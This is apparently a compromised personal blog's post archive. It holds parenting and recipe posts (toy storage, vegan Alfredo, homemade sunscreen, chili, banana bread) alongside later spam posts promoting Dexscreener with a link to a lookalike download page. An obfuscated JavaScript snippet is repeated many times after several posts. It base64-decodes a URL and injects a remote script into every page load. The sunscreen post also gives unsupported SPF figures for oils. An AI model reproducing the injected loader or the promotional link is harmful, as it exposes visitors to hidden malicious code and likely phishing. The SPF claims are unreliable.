
Posts by kar41287:
- Watch for large single transactions – they often precede big moves.
- Track liquidity changes to spot potential rug pulls or token burns.
- Use volume trends to distinguish a healthy rally from a thin-market pump.
- Combine on-chain signals with chart confirmations for higher-confidence entries.
- Set baseline alert thresholds – avoid noise.
- Cross-check contract addresses – never trust token names alone.
- Use liquidity filters – prioritize pairs with healthy pools.
- Follow volume history – sudden spikes need context.
- Combine scanner signals with other on-chain tools.
- Real-time price tracking across multiple DEXs.
- Advanced charting capabilities allowing detailed analysis.
- Alerts for price changes, enabling proactive trading.
- On-chain data analysis for deeper insights.
- User-friendly interface for both beginners and experienced traders.
- Visit the Dexscreener website.
- Choose the platform compatible with your device.
- Follow the installation instructions provided.
- Create an account if necessary and start exploring the features.
- Bullet list item #1
- Item with bold emphasis
- And a link: official WordPress site
- Step one
- Step two
- Step three
- Indestructible books (Archer can quickly tear up all other books, but these haven’t been harmed.): Indestructibles: Old MacDonald Had a Farm, Indestructibles: Baby Night-Night, Indestructibles: Baby Peekaboo, Mama and Baby! (Indestructibles), and Indestructibles: Baby Faces
- Hape Mini Mighty Kitchen (It is small, portable, and made of wood.) With Ikea Toy Cookware (It is real cookware in miniature form. Toy food fits better in it than other toy cookware.) Hape Mini Mighty Kitchen
- B. Brand Parum Pum Pum Drum (A working drum, that is used to store the percussion implements, made from recycled plastic. We love B. Brand!) Battat B. Parum Pum Pum Drum Toy
- ¼ cup beeswax
- ¼ cup coconut oil (natural SPF 7.119)
- ½ cup almond oil (natural SPF 4.659) /olive oil (natural SPF 7.549)
- 1 tsp Red Raspberry Seed Oil (natural SPF 28-50)
- 1 tsp Carrot Seed Oil (natural SPF 35-40)
- 2 Tbsp Shea Butter (natural SPF 4-5)
- 3 Tbsp Zinc Oxide (natural SPF 2-20 depending on quantity) (Buy the NON-Nano version that cannot be absorbed into the skin. Also, be careful to not inhale the powder.)
- Optional: 1 tsp Vitamin E oil
- Optional: 20 drops lavender essential oil
- Optional: 1 tsp Vanilla Extract
- Combine ingredients, except zinc oxide, in a pint-sized or larger glass jar.
- Fill a medium saucepan with 2 inches of water and place over medium heat.
- Place a loose lid on the jar and place in the pan with the water.
- As the water heats, the ingredients in the jar will start to melt. Shake or stir occasionally to mix. When all ingredients are completely melted, add the zinc oxide and stir well. Pour into whatever jar or tin you will use for storage (the mixture needs to still be warm).
- Small mason jars (pint size) are great for this or 2 baby food size mason jars (my favorite). It is thick, like body butter, so it cannot be used in a pump bottle.
- Stir a few times as it cools to make sure zinc oxide is incorporated.
- Use daily.
- Make sure not to inhale the Zinc Oxide.
- This sunscreen is somewhat waterproof and will need to be reapplied after sweating or swimming.
- Store in a cool, dry place or in the refrigerator.
- I prefer to store in a baby food size mason jar for easy travel. We keep one in our diaper bag at all times.
- It works great on diaper rashes and as a protective layer during nights. – I haven’t had any issues using it on my cloth diapers, but we rarely use it for this purpose and we use organic cotton flats, which wash very easily.
- 1 lb. ground turkey
- 1 medium white onion, chopped
- 3 large garlic cloves, minced
- Salt and pepper to taste
- 10 oz can diced tomatoes and chilies (I like Hot Rotel with habaneros)
- 15 oz can black beans (drained)
- 1 large sweet potato (about 1 lb), peeled and chopped small
- 1 tsp. cumin
- 1 cup water
- Add ground turkey and chopped onion to large skillet. Season with salt and pepper to taste. Cook until ground turkey is fully cooked, no longer pink.
- Add garlic and cook an additional 30 seconds.
- Add ground turkey mixture to crock pot.
- Add remaining ingredients to slow cooker and stir.
- Cook on high for 3 hours, or low for 6 hours, or until sweet potatoes are tender.
- Serve with toppings of choice.
- 3 small bananas (about 6 inches long) – smashed
- 1/3 cup melted organic butter
- 1/4 cup + 2 Tbsp. Stevia (Truvia Baking Blend) or 3/4 cup organic sugar
- 1 egg beaten (I use organic cage free eggs)
- 1/2 tsp. imitation vanilla
- 1/2 tsp. almond extract
- 1 tsp. organic cinnamon
- 1 tsp. baking soda (aluminum free)
- dash of sea salt
- 1 1/2 cup organic whole wheat flour or 3/4 cup organic unbleached all purpose flour + 3/4 cup organic whole wheat flour
- 1 Tbsp. + 1 tsp. stevia (Truvia Baking Blend) or 1/6 cup organic sugar
- 1/2 Tbsp. organic cinnamon
- Preheat oven to 350 degrees Fahrenheit.
- Spray bread pan. (I used 10″ x 8″)
- Mix bananas, butter, 1/4 cup + 2 Tbsp. stevia/3/4 cup sugar, egg, vanilla, almond extract, and 1 tsp. cinnamon.
- Sprinkle baking soda and sea salt on top of banana mixture.
- Gently mix in flour. (I used a fork for all mixing.)
- Pour dough into pan
- Mix remaining stevia/sugar and cinnamon together.
- Sprinkle cinnamon mixture on top of dough.
- Bake for 40 – 60 minutes (time will depend on pan size and moisture from bananas).
- Cut bread into 12 equal parts.
- Enjoy your Whole Wheat Cinnamon Banana Bread!!!
Dexscreener Dex Scanner: Real-Time DEX Market Radar
March 18th, 2025Dexscreener Dex Scanner: Real-Time DEX Market Radar
??????????
Getting started with modern DEX analysis tools is easier when you have a reliable reference point, and this piece links directly to a practical source: https://sites.google.com/uscryptoextension.com/dexscreener-official-trading/ Here you will find an official landing page that helps orient traders and curious users to the core offerings and access points for dexscreener and related dex scanner functionality.
Understanding Dexscreener Core Features
At the heart of every fast workflow is clarity. Dexscreener positions itself as a fast, near real-time platform for scanning decentralized exchanges, and the range of features shows that the emphasis is on immediacy and usability. If you care about spotting token listings, watching liquidity moves or tracking rug-risk signals, dexscreener offers dashboards and streams that surface that information quicker than checking multiple chains manually. The interface aggregates pairs, displays live charts, and provides filters so you can narrow down tokens by liquidity, volume, price action and age. That matters when you want to make a decision within minutes.
Many traders praise dexscreener for its simplicity, but it also hides a lot of depth. Custom alerts can run in the background and trigger on specific trade sizes or volume spikes. The platform is not just about raw numbers; it interprets on-chain events and gives them context. For example, a sudden liquidity removal is highlighted differently than a small transfer to an exchange. That distinction reduces noise, and when you have to scan hundreds of pairs, noise reduction becomes a multiplier for speed and accuracy.
Technical traders will appreciate chart overlays and candlestick analysis, while more opportunistic users lean on token age and liquidity thresholds. You can mix approaches. Use indicators to confirm momentum, then pivot to the scanner to see where volume concentration is happening. The dex scanner part of dexscreener is what ties these inputs together; it constantly crawls decentralized pools and makes the freshest data available. That rapid refresh is one of the reasons dexscreener gets attention in active DEX communities.
dex screener download and setup tips
Installing or accessing a dex screener tool depends on whether you prefer browser-based access, an extension, or mobile. Many traders start with the browser site for quick checks. Others install a lightweight extension that overlays alerts directly into their workflow. If you opt for a desktop shortcut or a dedicated tab, set up a default workspace – a saved filter set that includes the chains, pairs and alert thresholds you monitor most often.
When considering a download, be mindful of permissions and the origin of the package. Official channels and documented release notes matter. Keep your extension updates current. They often contain bug fixes and small tweaks that can matter when latency is crucial. If mobile access is part of your routine, test push notifications and check whether alert throttling is available; too many notifications will cause you to mute the tool, and that defeats the point.
For performance: disable overly broad filters, and instead favor targeted lists. A rule of thumb – narrow first, widen later. That approach keeps the scanner from being overwhelmed and gives you usable signals instead of a firehose. Finally, if you plan to use several networks, stagger their polling intervals so that browser or extension resources remain stable. These practical steps make dex screener download and setup a smoother experience.
Using a Dex Scanner for Real-Time Signals
A dex scanner is a different breed compared to an exchange order book. On DEXs, liquidity pools and automated market makers drive price moves. A good dex scanner watches those pools and raises flags when something unusual occurs – rapid swaps, liquidity additions, or token contract interactions that hint at listing events. Traders use these signals for scalps, short-term swings, or to time liquidity provisioning.
Real-time means sub-minute refreshes in many cases. That speed can be decisive. If a pair suddenly sees a surge in buys and liquidity remains low, the price can spike and then collapse just as quickly. The dex scanner helps identify structural weaknesses in the token market pair. Use it to monitor market depth, slippage expectations and largest trades across a rolling time window. Knowing the typical trade size on a pair helps you anticipate how your order will move the price.
These are practical rules. A dex scanner’s value grows when you merge its alerts with your own risk controls. Set position size caps based on liquidity and expected slippage. Use stop-loss parameters that account for the thinner markets common to many DEX pairs. In short – a dex scanner tells you what is happening; you decide how to act.
dexscreener review: charts, alerts, filters
A dexscreener review often highlights three pillars: charts, alerts and filters. The charts are lightweight but informative, allowing quick toggling between timeframes and overlays. Alerts can be set for volume thresholds, price crossings or liquidity events. Filters are where users save their mental energy – by predefining what counts as an actionable token, the platform reduces cognitive load on every check.
From my experience, the charts are not meant to replace a full-featured charting suite; they are optimized for speed and for context when scanning many assets. Alerts are flexible. You can choose a narrow criterion like “10x volume in 5 minutes” or broader ones such as “new pair listed with liquidity above X.” Filters allow aggregating tokens by chain and risk profile. Use them to separate experimental tokens from more established ones.
Reading through a dexscreener review, you should weigh the practical pros and cons. Pros: real-time feeds, chain breadth and intuitive alerting. Cons: some users want deeper on-chart analysis or integrated order execution. For many traders, dexscreener fills a monitoring niche while execution remains on separate platforms. That’s fine. Not every tool should try to be everything.
dex screener: tips for faster analysis
Speed matters. One effective tip is to create prioritized watchlists – group tokens by expected volatility or by personal strategy. Another: use conservative defaults for alert sensitivity while you learn a new market, then tighten thresholds as you gain confidence. Save common filter templates. You will thank yourself when a promising token pops up and you can instantly compare it to saved benchmarks.
Also, pay attention to common false positives. Large automated liquidity moves can look like a normal trade but are part of deployment scripts or incentives. If you rely only on a single indicator, you will get burned by noise. Cross-reference alerts with token age and known project announcements. Spend a few minutes learning a token’s typical on-chain activity. That background knowledge turns alerts from noise into useful signals.
Finally, integrate the scanner with other resources. Combine it with community chatter, native contract scans and a reliable source of token metadata. That layering reduces the chance of walking into a high-risk token just because the price action looks exciting. Fast analysis is not just about reaction time; it’s about filtering smartly and knowing which signals to trust.
Throughout these sections I’ve used the terms dexscreener and dex scanner deliberately. They represent both a specific platform and a category of tools. Keep that distinction in mind as you build your workflow: some features are product-specific, others are generic to dex scanning.
| Feature | Dexscreener | Typical DEX Scanner | ||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Real-time pair coverage |
| Feature | Dexscreener | Common Alternatives | ||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Live pair discovery | Instant listing detection across chains | Slower aggregation, delayed updates | ||||||||||||||||||||||||||||||||||||
| Alerting | Custom volume and price alerts | Advanced rules but heavier setup | ||||||||||||||||||||||||||||||||||||
| Charting | Clean, responsive charts optimized for DEX data | Full-featured charts with indicators |
| Feature | Solscan | Competitors |
|---|---|---|
| Transaction Tracking | Yes | Yes |
| Market Data Analysis | Advanced | Basic |
| User Interface | Intuitive | Complex |
| Gas Fee Insights | Detailed | Minimal |
| Visualization Tools | Charts & Graphs | Limited |
Why Traders Choose Dexscreener for Informed Decisions
March 12th, 2025Why Traders Choose Dexscreener for Informed Decisions
??????????
For anyone looking to enhance their trading experience, the dexscreener crypto platform offers comprehensive tools designed to provide real-time insights and analytics on decentralized exchanges.
Overview of Dexscreener
Dexscreener stands out as a popular application among traders who engage in decentralized finance (DeFi). It enables users to track cryptocurrency prices across various decentralized exchanges, providing a centralized platform for market analysis. This powerful tool allows traders to make informed decisions by presenting real-time data.
Key Features of Dexscreener
Dexscreener boasts a variety of features that enhance the trading experience. Key functionalities include:
Benefits of Using Dexscreener
The advantages of utilizing Dexscreener go beyond basic tracking. Traders benefit from a collection of tools tailored to optimize their trading strategies:
Improved Decision Making
With comprehensive real-time data, traders can better analyze the market and anticipate price movements. This foresight enables improved decision making, often leading to increased profitability.
Cost Efficiency
Using Dexscreener can improve cost efficiencies through better execution of trades. By accessing multiple liquidity pools and tracking price fluctuations, traders can minimize slippage and transaction costs.
How to Download and Use Dexscreener
Getting started with Dexscreener is a straightforward process. The tool can be accessed through its official website. To download and set up:
Comparison with Other DEX Scanners
When it comes to DEX scanners, several options exist. However, Dexscreener often outshines its competition. Here’s how it stacks up against others:
| Feature | Dexscreener | Other DEX Scanners |
|---|---|---|
| Real-time Data | Yes | Limited |
| Advanced Charting | Yes | No |
| User-Friendly UI | Yes | Complicated |
| On-Chain Data Insights | Yes | Limited |
| Price Alerts | Yes | No |
Test Post for WordPress
August 8th, 2024This is a sample post created to test the basic formatting features of the WordPress CMS.
Subheading Level 2
You can use bold text, italic text, and combine both styles.
This content is only for demonstration purposes. Feel free to edit or delete it.
;
Organizing Toys in a Small Space
January 6th, 2016Toys can be an organization nightmare when you live in a small space. In December my son received more toys than I could dream of due to having his 1st birthday and Christmas. As many of you know, we live in a RV and have very little storage options, especially for toys.
Since there is a small amount of square footage, vertical space has to be maximized for organization. To store all of the toys, I built my own system.
Materials Used:
Whitmor 6070-968-BLK Black Storage Cubes (Set of 6), Black C2G / Cables To Go 43036 4-Inch Cable Ties – 100 Pack (Black) Ikea Pressa Washing Bag, Set of 3 Officemate Silver Binder Clips, Assorted Sizes, 30/Tub (31021) Scunci Effortless Beauty Large No-damage Elastics, Assorted Sizes, 36 Count Steren 100 CT Grip Clip Cable Clips
We used a wire cube unit that can be customized for many designs; vertical shelves, horizontal shelves, multi-layer shelving, and even small animal cages. Each cube can hold up 10 to 15 lbs, depending how they are put together and anchored. To make the storage unit sturdier, use zip ties in place of the connectors provided and use cable mounting clips to anchor each cube to the wall.
To maximize on the vertical storage, I used hair ties to hang stuffed animals. By wrapping the hair tie around a wire and pulling it through itself, I was able to secure all of our stuffed animals to the toy cubes. 
For small toys, like toy food, and baby safe books, I used mesh laundry bags. Melissa & Doug Cutting Fruit SetHang the mesh laundry bags with the opening facing out, instead of up, to allow easier access for toddlers. Secure the bags to the wire shelves with binder clips.
Our favorite toys primarily seem to be capable of growing with our son, be easily portable, and be made of high quality material, such as metal, wood, or thick recycled plastic. Our current 3 favorite toys are:
What creative ways do you store your children’s toys and what are some of your favorite toys, that seem to last and spark imagination?;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Creamy, Dairy Free, Vegan Alfredo Sauce
October 28th, 2015This creamy Alfredo sauce is amazing! It is easy to make dairy free, for a healthy vegan option. You will be surprised by the key ingredient: Cashews. Yes, this Alfredo is made with cashews!
Due to breastfeeding, I had to be dairy free for the first 6 months of my son’s life, until his intestinal issues improved. This transition made it very difficult. I had to cook and shop completely differently, since we love cheese and butter and most processed foods have some form of dairy. This Alfredo sauce really helped satisfy my dairy craving.
Ingredients:
1 cup cashews
2.5 cups WARM water
1/2 cup MELTED non-dairy butter (If you can have dairy, regular butter is fine)
1/2 teaspoon salt (I use Himalayan pink salt.)
3 large garlic cloves
1 teaspoon Italian seasoning
1/4 teaspoon black pepper
1 (8oz) pckg. Daiya mozzarella shreds (These Daiya shreds freeze well in their package.) (You can use 2 cups of any mozzarella shreds you like.)
Instructions:
In a high speed blender (I prefer Vitamix), blend water and cashews until creamy.
Add butter and spices to blender.
Slowly add cheese until complete.
Serve with pasta of choice (try making zucchini noodles).
It is also great with grilled chicken or shrimp. (I combine the sauce in the pan to mix it all together.)
You can warm in a sauce pan before serving (I usually do this, to keep it warm while we eat our first serving.)
Freeze any left over Alfredo sauce.
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Homemade Sunscreen
July 28th, 2015
Proper sunscreen use is important, but having my breast feeding infant son led me to be even more diligent about using natural products, including sunscreen. I found out that components of chemical sunscreens (absorbing and converting sunlight) are damaging to the skin, and are absorbed and passed to babies through the breast milk. I refused to put harmful substances on my son’s skin (using cloth diapers and cloth wipes) and wanted to make sure everything he was consuming through my breast milk was as healthy as possible, so I began making a homemade sunscreen.
After using my natural, homemade sunscreen for many months of hiking, walking, swimming, going to the beach and lake, and visiting the zoo, I can say this sunscreen not only protects our skin from the sun, but is nourishing too. Many of the ingredients in this recipe have a natural SPF, but since this is a homemade recipe and has not been scientifically tested, I cannot make claims on its overall SPF rating. I can only discuss how this has worked for my family. My son’s pediatrician promotes a more natural lifestyle and was pleased with our choice to make our own sunscreen. (Please always consult your doctor before using a new product.)
This natural, homemade sunscreen is a must for my family. Sometimes, being outside is the only way we can calm my son down, or get him to sleep. He has yet to have a sunburn.
The other day we were walking and swimming almost all day, I put sunscreen on my son but forgot to put any on myself. His skin still looked perfect, but I was red as a lobster.
Homemade Sunscreen Ingredients:
How to Make Natural Sunscreen:
Additional Notes:
References:
;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Sweet Potato Chili
September 20th, 2014I’m always looking for ways of adding more vegetables into our diet, this one-dish sweet potato chili is an easy way of doing that.
Ingredients:
Toppings: shredded cheese, chopped avocado, tortilla chips, green onions
Directions:
Nutrition based on a 2,000 calorie diet:
Serving size: 1 cup, Servings: 12
Calories: 117
Total Fat: 4.46g, 7%
Saturated Fat: .92g, 4.67%
Cholesterol: 28.08mg, 9.33%
Carbohydrates: 8.83g, 3%
Sodium: 262.03g, 21.67%
Fiber: 2.17g, 9.25%
Sugar: 1.67g
Protein: 9.5g
Iron: 8.33%
Calcium: 3.42%
Thiamin: 1.5%
Riboflavin: 3.08%
Niacin: 7%
Folate: .67%
Zinc: 5.25%
Potassium: 6.67%
Magnesium: 2.42%
Vitamin A: 41.33%
Vitamin C: 8.08%
Vitamin K: 2.25%
How do you like this sweet potato chili and how spicy do you prefer yours?;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Whole Wheat Cinnamon Banana Bread
September 15th, 2014I needed a way of increasing my whole wheat consumption without adding sugar to my diet; solution, Whole Wheat Cinnamon Banana Bread. This bread is moist, packed with a cinnamon sugar (stevia) flavor, and easy to make.
I have created two recipes for this bread, one that is 100% organic whole wheat with no added sugar and one that uses organic all purpose flour. organic whole wheat, and organic sugar. Choose which version will meet your needs (the nutritional information is for the 100% whole wheat and stevia recipe).
Ingredients:
Directions:
Nutrition based on a 2,000 calorie diet:
Servings: 12
Calories: 89.71
Total Fat: 4.96g, 7.67%
Sat. Fat: 3.04g, 15.25%
Cholesterol: 30.42mg, 10.08%
Sodium: 155.92mg, 6.58%
Carbohydrates: 13.5g, 5.83%
Fiber: 1g, 3.83%
Sugar: 3g
Protein: .75g
Calcium: 1%
Iron: .83%
Folate: 5.05mcg, 1.25%
Potassium: 90.5mg, 2.5%
Vitamin A: 4.08%
Vitamin C: 3.75%
Vitamin B6: .1mg, 28.5%;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);










